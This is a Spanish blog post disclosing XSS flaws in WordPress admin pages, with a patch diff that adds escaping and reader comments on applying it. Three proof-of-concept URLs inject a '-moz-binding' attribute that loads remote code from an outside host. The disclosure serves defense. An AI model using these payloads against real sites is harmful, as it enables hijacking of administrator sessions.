Más vulnerabilidades XSS para WordPress

Actualización: g30rg3_x se ha tomado la molestia de preparar un parche más completo para WordPress 2.2.

Siguen reportándose más bugs de WordPress, esta vez afecta a los archivos wp-admin/post-new.php, wp-admin/page-new.php, wp-admin/users-edit.php. Estos errores al parecer están presentes en todas las versiones de WordPress.

Las pruebas de concepto son las siguientes (sólo funcionan en Firefox, pero también se pueden preparar ejemplos para Internet Explorer):

code:

http://www.site.com/path.to/wp-admin/post-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&popuptitle=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/page-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&post_title=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'

Si alguien no quiere esperar una nueva versión y desea corregir el problema por sus propios medios, puede basarse en el siguiente parche generado a partir de la versión de desarrollo de WordPress:

diff:
Index: wp-admin/edit-form-advanced.php
===================================================================
--- wp-admin/edit-form-advanced.php     (revision 5508)
+++ wp-admin/edit-form-advanced.php     (working copy)
@@ -140,7 +140,7 @@
 
 <fieldset id="titlediv">
        <legend><?php _e('Title') ?></legend>
-       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 <fieldset id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>">
Index: wp-admin/edit-page-form.php
===================================================================
--- wp-admin/edit-page-form.php (revision 5508)
+++ wp-admin/edit-page-form.php (working copy)
@@ -126,7 +126,7 @@
 
 <fieldset id="titlediv">
   <legend><?php _e('Page Title') ?></legend>
-  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 
Index: wp-admin/user-edit.php
===================================================================
--- wp-admin/user-edit.php      (revision 5508)
+++ wp-admin/user-edit.php      (working copy)
@@ -76,7 +76,7 @@
 <form name="profile" id="your-profile" action="user-edit.php" method="post">
 <?php wp_nonce_field('update-user_' . $user_id) ?>
 <?php if ( $wp_http_referer ) : ?>
-       <input type="hidden" name="wp_http_referer" value="<?php echo wp_specialchars($wp_http_referer); ?>" />
+       <input type="hidden" name="wp_http_referer" value="<?php echo clean_url($wp_http_referer); ?>" />
 <?php endif; ?>
 <p>
 <input type="hidden" name="from" value="profile" />
 

Para los que no estén familiarizados con los parches, deben eliminar las líneas que comienzan con "-" y cambiarlas por las que empiezan por "+".

18 Replies to “Más vulnerabilidades XSS para WordPress”

  1. Buenas, he probado los tres exploit con FF 1.0.4 y me redirige a la página de login. El WP es un 2.1.3

  2. Necesitas las credenciales del administrador para que funcione, este tipo de vulnerabilidades normalmente van acompañados de ataques CSRF.

  3. Alex duda; la última parte del DIFF, concretamente la de user-edit.php se refiere a una función que en 2.0.x (o al menos en mi versión) no existe, el trozo que a mí me sale es:

    <h2><?php _e('Edit User'); ?></h2>

    <form name="profile" id="your-profile" action="user-edit.php" method="post">
    <?php wp_nonce_field('update-user_' . $user_id) ?>
    <p>
    <input type="hidden" name="from" value="profile" />
    <input type="hidden" name="checkuser_id" value="<?php echo $user_ID ?>" />
    </p>

    Como ves, no existe ninguna función wp_http_referer.

  4. Pingback: SigT
  5. @Armonth: Para en 2.0 no existe esa parte, por eso mencionaba que el parche fue generado a partir de la versión de desarrollo (trunk del svn).

    Por otro lado, ya está disponible una solución más completa hecha por un desarrollador de WP.

  6. En WP 2.0.10 no encuentro $post->post_title; en los ficheros que más se aproximan:

    wp-admin/page-new.post

    wp-admin/post.php

    wp-admin/user-edit.php

    wp-admin/users.php

  7. @maty: Los bugs son accesibles a través de esos archivos, pero en realidad éstos no se encuentran ahí, tal como se aprecia en el parche tienes que corregir los archivos wp-admin/edit-form-advanced.php y wp-admin/edit-page-form.php

  8. Gracias por los parches g30r3_x, disculpa por no mostrar antes tus comentarios -- éstos fueron enviados a la cola de spam y hoy recién acabo de verlos.

  9. Pingback: g30rg3 Blog

Comments are closed.